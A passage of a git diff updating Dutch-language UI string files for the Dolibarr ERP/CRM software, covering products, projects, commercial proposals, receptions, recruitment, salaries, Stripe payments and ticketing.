      Merk op dat het bericht een waarschuwing is en geen blokkeringsfout. +DefaultBOM=Standaard stuklijst +DefaultBOMDesc=De standaard stuklijst die wordt aanbevolen om dit product te vervaardigen. Dit veld kan alleen worden ingesteld als de aard van het product '%s' is. +Rank=Rang +MergeOriginProduct=Dubbel product (product dat u wilt verwijderen) +MergeProducts=Producten samenvoegen +ConfirmMergeProducts=Weet u zeker dat u het gekozen product wilt samenvoegen met het huidige? Alle gekoppelde objecten (facturen, bestellingen, ...) worden verplaatst naar het huidige product, waarna het gekozen product wordt verwijderd. +ProductsMergeSuccess=Producten zijn samengevoegd +ErrorsProductsMerge=Fouten in producten samenvoegen +SwitchOnSaleStatus=Verkoopstatus inschakelen +SwitchOnPurchaseStatus=Aankoopstatus inschakelen +UpdatePrice=Increase/decrease customer price +StockMouvementExtraFields= Extra velden (voorraadbeweging) +InventoryExtraFields= Extra velden (inventaris) +ScanOrTypeOrCopyPasteYourBarCodes=Scan of typ of kopieer/plak uw barcodes +PuttingPricesUpToDate=Update prijzen met de huidige bekende prijzen +PMPExpected=Verwachte PMP +ExpectedValuation=Verwachte waardering +PMPReal=Echte PMP +RealValuation=Echte waardering +ConfirmEditExtrafield = Selecteer het extraveld dat u wilt wijzigen +ConfirmEditExtrafieldQuestion = Weet u zeker dat u dit extraveld wilt wijzigen? +ModifyValueExtrafields = Wijzig de waarde van een extraveld +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/nl_NL/projects.lang b/htdocs/langs/nl_NL/projects.lang index 6d974c93227..0721eab36d4 100644 --- a/htdocs/langs/nl_NL/projects.lang +++ b/htdocs/langs/nl_NL/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Deze weergave toont alle projecten en taken die u mag inzien. TasksDesc=Deze weergave toont alle projecten en taken (Uw gebruikersrechten staan het u toe alles in te zien). AllTaskVisibleButEditIfYouAreAssigned=Alle taken voor gekwalificeerde projecten zijn zichtbaar, maar u kunt alleen tijd invoeren voor de taak die aan de geselecteerde gebruiker is toegewezen. Wijs een taak toe als u er tijd op wilt invoeren. OnlyYourTaskAreVisible=Alleen taken die aan u zijn toegewezen, zijn zichtbaar. Als je tijd moet invoeren voor een taak en als de taak hier niet zichtbaar is, dan moet je de taak aan jezelf toewijzen. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Taken bij projecten ProjectCategories=Labels/categorieën projecten NewProject=Nieuw project @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Leidt het aantal open projecten op status OpportunitiesStatusForProjects=Leidt aantal projecten op status ShowProject=Toon project ShowTask=Toon taak +SetThirdParty=Set third party SetProject=Stel project in +OutOfProject=Out of project NoProject=Geen enkel project gedefinieerd of in eigendom NbOfProjects=Aantal projecten NbOfTasks=Aantal taken @@ -122,7 +125,8 @@ ValidateProject=Valideer project ConfirmValidateProject=Weet u zeker dat u dit project wilt valideren? CloseAProject=Sluit project ConfirmCloseAProject=Weet u zeker dat u dit project wilt afsluiten? -AlsoCloseAProject=Sluit ook het project (houd het open als u er nog steeds productietaken op moet volgen) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Project heropenen ConfirmReOpenAProject=Weet u zeker dat u dit project wilt her-openen? ProjectContact=Contacten van het project @@ -165,7 +169,7 @@ OpportunityProbability=Lead waarschijnlijkheid OpportunityProbabilityShort=Lood probab. OpportunityAmount=Lood bedrag OpportunityAmountShort=Lood bedrag -OpportunityWeightedAmount=Kans gewogen bedrag +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Opp. gewogen bedrag OpportunityAmountAverageShort=Gemiddeld loodbedrag OpportunityAmountWeigthedShort=Gewogen loodbedrag @@ -238,7 +242,7 @@ OppStatusPENDING=Hangende OppStatusWON=Won OppStatusLOST=Verloren Budget=Begroting -AllowToLinkFromOtherCompany=Sta toe om project van ander bedrijf te linken

      Ondersteunde waarden:
      - Leeg houden: kan elk project van het bedrijf koppelen (standaard)
      - "alles": kan projecten koppelen, zelfs projecten van andere bedrijven
      - Een lijst met id's van derden gescheiden door komma's: kan alle projecten van deze derde partijen koppelen (Voorbeeld: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Laatste %s projecten LatestModifiedProjects=Laatste %s aangepaste projecten OtherFilteredTasks=Andere gefilterde taken @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Winst wordt berekend met AddPersonToTask=Voeg ook toe aan taken UsageOrganizeEvent=Gebruik: Evenementenorganisatie PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classificeer project als gesloten wanneer alle taken zijn voltooid (100%% voortgang) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Opmerking: de voortgang van bestaande projecten met alle taken op 100%% wordt niet beïnvloed: u zult ze handmatig moeten sluiten. Deze optie is alleen van invloed op open projecten. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Selecteer tijdsregels die niet zijn gefactureerd en vervolgens de bulkactie "Factuur genereren" om ze te factureren ProjectTasksWithoutTimeSpent=Projecttaken zonder tijdsbesteding FormForNewLeadDesc=Bedankt om het volgende formulier in te vullen om contact met ons op te nemen. U kunt ons ook rechtstreeks een e-mail sturen naar %s . diff --git a/htdocs/langs/nl_NL/propal.lang b/htdocs/langs/nl_NL/propal.lang index 64e4ebf05f7..d65fbb4055c 100644 --- a/htdocs/langs/nl_NL/propal.lang +++ b/htdocs/langs/nl_NL/propal.lang @@ -54,7 +54,7 @@ NoDraftProposals=Geen ontwerpoffertes CopyPropalFrom=Maak offerte door het kopiëren van een bestaande offerte CreateEmptyPropal=Maak een leeg commercieel voorstel of uit een lijst met producten / services DefaultProposalDurationValidity=Standaardgeldigheid offerte (in dagen) -DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal +DefaultPuttingPricesUpToDate=Update prijzen standaard met de huidige bekende prijzen bij het klonen van een voorstel UseCustomerContactAsPropalRecipientIfExist=Gebruik contact / adres met het type 'Contact follow-up voorstel' indien gedefinieerd in plaats van het adres van een derde als adres ontvanger van het voorstel ConfirmClonePropal=Weet u zeker dat u offerte %s wilt kopiëren? ConfirmReOpenProp=Weet u zeker dat u offerte %s opnieuw wilt openen? @@ -65,49 +65,54 @@ AvailabilityPeriod=Leveringstermijn SetAvailability=Bepaal leveringstermijn AfterOrder=na bestelling OtherProposals=Andere offertes + ##### Availability ##### AvailabilityTypeAV_NOW=Onmiddellijk AvailabilityTypeAV_1W=1 week AvailabilityTypeAV_2W=2 weken AvailabilityTypeAV_3W=3 weken AvailabilityTypeAV_1M=1 maand -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Vertegenwoordiger die de follow-up van de offerte doet TypeContact_propal_external_BILLING=Afnemersfactuurcontactpersoon TypeContact_propal_external_CUSTOMER=Afnemerscontactpersoon follow-up voorstel TypeContact_propal_external_SHIPPING=Klant contact voor levering + # Document models -DocModelAzurDescription=Een compleet offertemodel (oude implementatie van Cyaan sjabloon) -DocModelCyanDescription=Een compleet offertemodel +CantBeNoSign=kan niet worden ingesteld niet ondertekend +CaseFollowedBy=Geval gevolgd door +ConfirmMassNoSignature=Bulk Niet ondertekende bevestiging +ConfirmMassNoSignatureQuestion=Weet u zeker dat u de geselecteerde records niet ondertekend wilt instellen? +ConfirmMassSignature=Bulk handtekening bevestiging +ConfirmMassSignatureQuestion=Weet u zeker dat u de geselecteerde records wilt ondertekenen? +ConfirmMassValidation=Bevestiging in bulk valideren +ConfirmMassValidationQuestion=Weet u zeker dat u de geselecteerde records wilt valideren? +ConfirmRefusePropal=Weet u zeker dat u dit commerciële voorstel wilt weigeren? +ContractSigned=Contract getekend +DefaultModelPropalClosed=Standaard sjabloon bij het sluiten van een zakelijk voorstel (nog te factureren) DefaultModelPropalCreate=Standaard model aanmaken DefaultModelPropalToBill=Standaard sjabloon bij het sluiten van een zakelijk voorstel (te factureren) -DefaultModelPropalClosed=Standaard sjabloon bij het sluiten van een zakelijk voorstel (nog te factureren) +DocModelAzurDescription=Een compleet offertemodel (oude implementatie van Cyaan sjabloon) +DocModelCyanDescription=Een compleet offertemodel +FichinterSigned=Intervention signed +IdProduct=Product-ID +IdProposal=Offerte-ID +IsNotADraft=is geen concept +LineBuyPriceHT=Koopprijs bedrag exclusief BTW voor regel +NoSign=Weigeren +NoSigned=set niet ondertekend +PassedInOpenStatus=is gevalideerd +PropalAlreadyRefused=Voorstel al afgewezen +PropalAlreadySigned=Voorstel al geaccepteerd +PropalRefused=Voorstel geweigerd +PropalSigned=Voorstel geaccepteerd ProposalCustomerSignature=Schriftelijke aanvaarding , stempel , datum en handtekening ProposalsStatisticsSuppliers=Leveranciersoffertes statistieken -CaseFollowedBy=Geval gevolgd door +RefusePropal=voorstel weigeren +Sign=Teken +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Aanvaard voorstel +Signed=ondertekend SignedOnly=Alleen gesigneerd -NoSign=Set not signed -NoSigned=set not signed -CantBeNoSign=cannot be set not signed -ConfirmMassNoSignature=Bulk Not signed confirmation -ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? -IsNotADraft=is not a draft -PassedInOpenStatus=has been validated -Sign=Sign -Signed=signed -ConfirmMassValidation=Bulk Validate confirmation -ConfirmMassSignature=Bulk Signature confirmation -ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? -ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? -IdProposal=Offerte-ID -IdProduct=Product-ID -LineBuyPriceHT=Koopprijs bedrag exclusief BTW voor regel -SignPropal=Accept proposal -RefusePropal=Refuse proposal -Sign=Sign -NoSign=Set not signed -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? diff --git a/htdocs/langs/nl_NL/receiptprinter.lang b/htdocs/langs/nl_NL/receiptprinter.lang index f0598541b6b..3bae0437941 100644 --- a/htdocs/langs/nl_NL/receiptprinter.lang +++ b/htdocs/langs/nl_NL/receiptprinter.lang @@ -7,7 +7,7 @@ TestSentToPrinter=Testafdruk %s ReceiptPrinter=Bonprinters ReceiptPrinterDesc=Instellen bonprinter ReceiptPrinterTemplateDesc=Instellen templates -ReceiptPrinterTypeDesc=Bonprinter type omschrijving +ReceiptPrinterTypeDesc=Voorbeeld van mogelijke waarden voor het veld "Parameters" volgens het type stuurprogramma ReceiptPrinterProfileDesc=Bonprinter profiel omschrijving ListPrinters=Printerlijst SetupReceiptTemplate=Template instellingen @@ -55,6 +55,8 @@ DOL_DEFAULT_HEIGHT_WIDTH=Standaard hoogte en breedte DOL_UNDERLINE=Activeer onderstrepen DOL_UNDERLINE_DISABLED=Deactiveer onderstrepen DOL_BEEP=Geluid +DOL_BEEP_ALTERNATIVE=Pieptoon (alternatieve modus) +DOL_PRINT_CURR_DATE=Huidige datum/tijd afdrukken DOL_PRINT_TEXT=Afdrukken tekst DateInvoiceWithTime=Factuur datum en tijd YearInvoice=Factuur jaar diff --git a/htdocs/langs/nl_NL/receptions.lang b/htdocs/langs/nl_NL/receptions.lang index 6c056b1c6e3..0f7eca97d0b 100644 --- a/htdocs/langs/nl_NL/receptions.lang +++ b/htdocs/langs/nl_NL/receptions.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - receptions -ReceptionDescription=Vendor reception management (Create reception documents) -ReceptionsSetup=Vendor Reception setup +ReceptionDescription=Beheer van leveranciersontvangst (ontvangstdocumenten maken) +ReceptionsSetup=Leveranciersontvangst instellen RefReception=Ontvangst ref. Reception=Ontvangst Receptions=Ontvangsten @@ -24,14 +24,15 @@ ReceptionsAndReceivingForSameOrder=Ontvangsten en ontvangsten voor deze bestelli ReceptionsToValidate=Ontvangsten om te valideren StatusReceptionCanceled=Geannuleerd StatusReceptionDraft=Ontwerp -StatusReceptionValidated=Validated (products to receive or already received) -StatusReceptionValidatedToReceive=Validated (products to receive) -StatusReceptionValidatedReceived=Validated (products received) +StatusReceptionValidated=Gevalideerd (te ontvangen of reeds ontvangen producten) +StatusReceptionValidatedToReceive=Gevalideerd (te ontvangen producten) +StatusReceptionValidatedReceived=Gevalideerd (ontvangen producten) StatusReceptionProcessed=Verwerkt StatusReceptionDraftShort=Ontwerp StatusReceptionValidatedShort=Gevalideerd StatusReceptionProcessedShort=Verwerkt ReceptionSheet=Afleverbon +ValidateReception=Validate reception ConfirmDeleteReception=Weet u zeker dat u deze ontvangst wilt verwijderen? ConfirmValidateReception=Weet u zeker dat u deze ontvangst wilt valideren met referentie %s ? ConfirmCancelReception=Weet u zeker dat u deze ontvangst wilt annuleren? @@ -39,7 +40,7 @@ StatsOnReceptionsOnlyValidated=Statistieken uitgevoerd op alleen gevalideerde on SendReceptionByEMail=Ontvangst per e-mail verzenden SendReceptionRef=Indiening van ontvangst %s ActionsOnReception=Gebeurtenissen bij ontvangst -ReceptionCreationIsDoneFromOrder=For the moment, creation of a new reception is done from the Purchase Order. +ReceptionCreationIsDoneFromOrder=Op dit moment wordt het aanmaken van een nieuwe receptie gedaan vanuit de Inkooporder. ReceptionLine=Ontvangst lijn ProductQtyInReceptionAlreadySent=Producthoeveelheid uit open verkooporder al verzonden ProductQtyInSuppliersReceptionAlreadyRecevied=Hoeveelheid producten van openstaande leverancier bestelling reeds ontvangen @@ -48,7 +49,6 @@ ReceptionsNumberingModules=Nummeringsmodule voor ontvangsten ReceptionsReceiptModel=Documentsjablonen voor ontvangsten NoMorePredefinedProductToDispatch=Geen voorgedefinieerde producten meer om te verzenden ReceptionExist=Ontvangst bestaat reeds -ByingPrice=Bying price -ReceptionBackToDraftInDolibarr=Reception %s back to draft -ReceptionClassifyClosedInDolibarr=Reception %s classified Closed -ReceptionUnClassifyCloseddInDolibarr=Reception %s re-open +ReceptionBackToDraftInDolibarr=Receptie %s terug naar concept +ReceptionClassifyClosedInDolibarr=Receptie %s geclassificeerd Gesloten +ReceptionUnClassifyCloseddInDolibarr=Receptie %s heropend diff --git a/htdocs/langs/nl_NL/recruitment.lang b/htdocs/langs/nl_NL/recruitment.lang index 297d3335457..1679c0418bf 100644 --- a/htdocs/langs/nl_NL/recruitment.lang +++ b/htdocs/langs/nl_NL/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=E-mail de recruiter ToUseAGenericEmail=Om een generiek e-mailadres te gebruiken. Indien niet gedefinieerd, wordt het e-mailadres van de rekruteringsverantwoordelijke gebruikt NewCandidature=Nieuwe applicatie ListOfCandidatures=Lijst met applicaties -RequestedRemuneration=Gevraagde vergoeding -ProposedRemuneration=Voorgestelde vergoeding +Remuneration=Salaris +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contractvoorstel gedaan ContractSigned=Contract getekend ContractRefused=Contract geweigerd RecruitmentCandidature=Toepassing JobPositions=Vacature RecruitmentCandidatures=Toepassingen -InterviewToDo=Te maken interview +InterviewToDo=Contacts to follow AnswerCandidature=Toepassing antwoord YourCandidature=Jouw toepassing YourCandidatureAnswerMessage=Bedankt voor je aanmelding.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=De vacature is gesloten. ExtrafieldsJobPosition=Complementaire attributen (functieposities) ExtrafieldsApplication=Aanvullende attributen (sollicitaties) MakeOffer=Doe een aanbod +WeAreRecruiting=We zijn aan het rekruteren. Dit is een lijst met openstaande vacatures die ingevuld moeten worden... +NoPositionOpen=Op dit moment geen vacatures diff --git a/htdocs/langs/nl_NL/salaries.lang b/htdocs/langs/nl_NL/salaries.lang index 312d2a81052..90a07469d17 100644 --- a/htdocs/langs/nl_NL/salaries.lang +++ b/htdocs/langs/nl_NL/salaries.lang @@ -1,12 +1,12 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Grootboekrekening voor medewerker derde partij -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=De boekhoudrekening die in het gebruikersbestand is gedefinieerd, wordt alleen gebruikt voor aanvullende boekhouding. Deze wordt gebruikt voor het grootboek en als standaardwaarde voor aanvullende boekhouding als de speciale rekening van de gebruiker niet is gedefinieerd. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Standaard grootboekrekening voor salaris betalingen CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Laat standaard de optie "Automatisch een totale betaling aanmaken" leeg bij het aanmaken van een Salaris Salary=Salaris Salaries=Salarissen NewSalary=Nieuw salaris -AddSalary=Add salary +AddSalary=Salaris toevoegen NewSalaryPayment=Nieuwe salariskaart AddSalaryPayment=Salarisbetaling toevoegen SalaryPayment=Salarisbetaling @@ -23,4 +23,5 @@ AllSalaries=Alle salarissen SalariesStatistics=Salaris statistieken SalariesAndPayments=Salarissen en betalingen ConfirmDeleteSalaryPayment=Wilt u deze salarisbetaling verwijderen? -FillFieldFirst=Fill employee field first +FillFieldFirst=Vul eerst het werknemersveld in +UpdateAmountWithLastSalary=Vast bedrag met laatste salaris diff --git a/htdocs/langs/nl_NL/stripe.lang b/htdocs/langs/nl_NL/stripe.lang index 907a444c058..ed0186b5d82 100644 --- a/htdocs/langs/nl_NL/stripe.lang +++ b/htdocs/langs/nl_NL/stripe.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - stripe StripeSetup=Stripe-module instellen -StripeDesc=Offer your customers an online payment page for payments with credit/debit cards via Stripe. This can be used to allow your customers to make ad-hoc payments or for payments related to a particular Dolibarr object (invoice, order, ...) +StripeDesc=Bied uw klanten een online betaalpagina voor betalingen met creditcards/betaalkaarten via Stripe . Dit kan worden gebruikt om uw klanten ad-hoc betalingen te laten doen of voor betalingen met betrekking tot een bepaald Dolibarr-object (factuur, bestelling, ...) StripeOrCBDoPayment=Betaal met creditcard of Stripe FollowingUrlAreAvailableToMakePayments=De volgende URL's zijn beschikbaar om een pagina te bieden aan afnemers voor het doen van een betaling van Dolibarr objecten PaymentForm=Betalingsformulier @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook live sleutel ONLINE_PAYMENT_WAREHOUSE=Voorraad voor voorraadafname wanneer online betaling is voltooid
      (TODO Wanneer optie om voorraad te verminderen wordt gedaan op een actie op factuur en de online betaling zelf de factuur genereert?) StripeLiveEnabled=Stripe live ingeschakeld (anders test / sandbox-modus) StripeImportPayment=Streepbetalingen importeren -ExampleOfTestCreditCard=Voorbeeld van creditcard voor test: %s => geldig, %s => error CVC, %s => verlopen, %s => belasten mislukt +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Stripe gateways OAUTH_STRIPE_TEST_ID=Stripe Connect-client-ID (ca _...) OAUTH_STRIPE_LIVE_ID=Stripe Connect-client-ID (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Kaart verwijderen ConfirmDeleteCard=Weet u zeker dat u deze creditcard of betaalpas wilt verwijderen? CreateCustomerOnStripe=Creëer klant op Stripe CreateCardOnStripe=Maak een kaart op Stripe +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Toon in streep StripeUserAccountForActions=Gebruikersaccount om te gebruiken voor e-mailmeldingen van sommige Stripe-evenementen (Stripe-uitbetalingen) StripePayoutList=Lijst met Stripe uitbetalingen @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Link om Stripe WebHook in te stellen om de IPN te bel PaymentWillBeRecordedForNextPeriod=De betaling wordt geregistreerd voor de volgende periode. ClickHereToTryAgain=Klik hier om het opnieuw te proberen ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Vanwege de strenge regels voor klantauthenticatie moet het aanmaken van een kaart worden gedaan vanuit Stripe backoffice. U kunt hier klikken om Stripe-klantrecord in te schakelen: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/nl_NL/ticket.lang b/htdocs/langs/nl_NL/ticket.lang index 55c5e8259e0..dbdc0274480 100644 --- a/htdocs/langs/nl_NL/ticket.lang +++ b/htdocs/langs/nl_NL/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Aanpassen tickets Permission56003=Verwijder tickets Permission56004=Beheer tickets Permission56005=Bekijk tickets van alle derde partijen (niet van toepassing voor externe gebruikers, altijd beperkt tot de derde partij waarvan ze afhankelijk zijn) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groepen TicketDictSeverity=Ticket - Prioriteit @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Externe bijdrager OriginEmail=E-mail van de melder Notify_TICKET_SENTBYMAIL=Verzend ticketbericht per e-mail +ExportDataset_ticket_1=Tickets + # Status Read=Gelezen Assigned=Toegekend @@ -90,10 +94,10 @@ TicketPublicAccess=Een openbare interface waarbij geen identificatie vereist is, TicketSetupDictionaries=Het type ticket, ernst en analysecodes zijn configureerbaar vanuit woordenboeken TicketParamModule=Module variabele instelling TicketParamMail=E-mail set-up -TicketEmailNotificationFrom=Sender e-mail for notification on answers -TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com -TicketEmailNotificationTo=Meld het aanmaken van tickets naar dit e-mailadres -TicketEmailNotificationToHelp=Indien aanwezig, wordt dit e-mailadres op de hoogte gebracht van het aanmaken van een ticket +TicketEmailNotificationFrom=Afzender e-mail voor notificatie bij antwoorden +TicketEmailNotificationFromHelp=Afzender e-mail om te gebruiken om de notificatie e-mail te verzenden wanneer een antwoord wordt gegeven in de backoffice. Bijvoorbeeld noreply@example.com +TicketEmailNotificationTo=Meld het aanmaken van tickets aan dit e-mailadres +TicketEmailNotificationToHelp=Indien aanwezig, wordt dit e-mailadres geïnformeerd bij het aanmaken van een ticket TicketNewEmailBodyLabel=SMS verzonden na het maken van een ticket TicketNewEmailBodyHelp=De tekst die hier wordt opgegeven, wordt in de e-mail ingevoegd die bevestigt dat er een nieuwe ticket is aangemaakt in de openbare interface. Informatie over de raadpleging van de ticket wordt automatisch toegevoegd. TicketParamPublicInterface=Instellingen openbare interface @@ -138,17 +142,19 @@ TicketsPublicNotificationNewMessage=Stuur e-mail(s) wanneer een nieuw bericht/op TicketsPublicNotificationNewMessageHelp=Stuur e-mail (s) wanneer een nieuw bericht is toegevoegd vanuit de openbare interface (naar de toegewezen gebruiker of de e-mail met meldingen naar (update) en / of de e-mail met meldingen naar) TicketPublicNotificationNewMessageDefaultEmail=E-mailmeldingen voor (update) TicketPublicNotificationNewMessageDefaultEmailHelp=Stuur een e-mail naar dit adres voor elke nieuw berichtmelding als er geen gebruiker aan het ticket is toegewezen of als de gebruiker geen bekend e-mailadres heeft. -TicketsAutoReadTicket=Markeer het ticket automatisch als gelezen (indien aangemaakt vanuit backoffice) -TicketsAutoReadTicketHelp=Markeer het ticket automatisch als gelezen wanneer het vanuit de backoffice wordt aangemaakt. Wanneer een ticket wordt aangemaakt vanuit de openbare interface, blijft het ticket met de status "Niet gelezen". -TicketsDelayBeforeFirstAnswer=Een nieuw ticket moet een eerste antwoord ontvangen vóór (uren): -TicketsDelayBeforeFirstAnswerHelp=Als een nieuw ticket na deze periode (in uren) geen antwoord heeft gekregen, wordt er een belangrijk waarschuwingspictogram weergegeven in de lijstweergave. -TicketsDelayBetweenAnswers=Een onopgelost ticket mag niet inactief zijn tijdens (uren): +TicketsAutoReadTicket=Markeer het ticket automatisch als gelezen (indien aangemaakt vanuit de backoffice) +TicketsAutoReadTicketHelp=Markeer het ticket automatisch als gelezen wanneer het vanuit de backoffice wordt aangemaakt. Wanneer een ticket wordt aangemaakt vanuit de openbare interface, behoudt de ticket de status "Niet gelezen". +TicketsDelayBeforeFirstAnswer=Een nieuwe ticket moet een eerste antwoord ontvangen vóór (uren): +TicketsDelayBeforeFirstAnswerHelp=Als een nieuwe ticket na deze periode (in uren) geen antwoord heeft gekregen, dan wordt er een waarschuwingspictogram weergegeven in de lijstweergave. +TicketsDelayBetweenAnswers=Een onopgelost ticket mag niet inactief zijn gedurende (uren): TicketsDelayBetweenAnswersHelp=Als een onopgelost ticket waarop al een antwoord is ontvangen na deze tijdsperiode (in uren) geen verdere interactie heeft gehad, wordt een waarschuwingspictogram weergegeven in de lijstweergave. TicketsAutoNotifyClose=Automatisch derden op de hoogte stellen bij het sluiten van een ticket TicketsAutoNotifyCloseHelp=Bij het sluiten van een ticket wordt u voorgesteld een bericht te sturen naar een van de contacten van derden. Bij massale sluiting wordt er een bericht gestuurd naar één contactpersoon van de derde partij die aan het ticket is gekoppeld. -TicketWrongContact=Mits contact maakt geen deel uit van de huidige ticketcontacten. E-mail niet verzonden. +TicketWrongContact=Aangegeven contact maakt geen deel uit van de huidige ticketcontacten. E-mail niet verzonden. TicketChooseProductCategory=Productcategorie voor ticketondersteuning TicketChooseProductCategoryHelp=Selecteer de productcategorie van ticketondersteuning. Hiermee wordt automatisch een contract aan een ticket gekoppeld. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=Aangemaakt door NewTicket=Nieuwe Ticket SubjectAnswerToTicket=Ticket antwoord TicketTypeRequest=Aanvraag type -TicketCategory=Ticket categorisatie +TicketCategory=Ticket group SeeTicket=Bekijk ticket TicketMarkedAsRead=Ticket is gemarkeerd als gelezen TicketReadOn=Lees verder @@ -192,8 +198,7 @@ TicketAssigned=Ticket is nu toegewezen TicketChangeType=Verander type TicketChangeCategory=Wijzig analytische code TicketChangeSeverity=Wijzig de ernst -TicketAddMessage=Bericht toevoegen -AddMessage=Bericht toevoegen +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket toegevoegd TicketMessageSuccessfullyAdded=Bericht succesvol toegevoegd TicketMessagesList=Berichtenlijst @@ -204,8 +209,8 @@ TicketSeverity=Prioriteit ShowTicket=Bekijk ticket RelatedTickets=Gerelateerde tickets TicketAddIntervention=Nieuwe interventie -CloseTicket=Sluit ticket (opgelost) -AbandonTicket=Ticket verlaten +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Sluit ticket (opgelost) ConfirmCloseAticket=Bevestig afsluiten ticket ConfirmAbandonTicket=Bevestigt u het sluiten van het ticket naar de status 'Verlaten' @@ -219,18 +224,17 @@ SendMessageByEmail=Verzend bericht via e-mail TicketNewMessage=Nieuw bericht ErrorMailRecipientIsEmptyForSendTicketMessage=Geadresseerde is leeg. Geen e-mail verzonden TicketGoIntoContactTab=Ga naar het tabblad "Contacten" om ze te selecteren -TicketMessageMailIntro=Introductie +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Deze tekst wordt alleen aan het begin van de e-mail toegevoegd en zal niet worden opgeslagen. -TicketMessageMailIntroLabelAdmin=Introductietekst voor alle ticketantwoorden TicketMessageMailIntroText=Hallo,
      Er is een nieuw antwoord toegevoegd aan een ticket dat je volgt. Hier is het bericht:
      -TicketMessageMailIntroHelpAdmin=Deze tekst wordt voor het antwoord ingevoegd bij het beantwoorden van een ticket van Dolibarr -TicketMessageMailSignature=Handtekening -TicketMessageMailSignatureHelp=Deze tekst wordt alleen aan het einde van de e-mail toegevoegd en wordt niet opgeslagen. -TicketMessageMailSignatureText=Bericht verzonden door %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Handtekening van reactie e-mail -TicketMessageMailSignatureHelpAdmin=Deze tekst wordt ingevoegd na het antwoordbericht. +TicketMessageMailIntroHelpAdmin=Deze tekst wordt voor het antwoord ingevoegd bij het beantwoorden van een ticket vanuit Dolibarr +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Bericht verzonden door %s via Dolibarr +TicketMessageMailFooterHelpAdmin=Deze tekst wordt ingevoegd na het antwoordbericht. TicketMessageHelp=Alleen deze tekst zal worden bewaard in de berichtenlijst op de ticketkaart. TicketMessageSubstitutionReplacedByGenericValues=Vervangingsvariabelen worden vervangen door generieke waarden. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Verstreken tijd sinds TicketTimeToRead=Tijd verstreken voordat gelezen TicketTimeElapsedBeforeSince=Verstreken tijd voor / sinds @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Er is een nieuw bericht op het ticket TicketAssignedToYou=Ticket toegekend TicketAssignedEmailBody=Je hebt het ticket # %s van %s toegewezen gekregen MarkMessageAsPrivate=Markeer bericht als privé +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Dit bericht 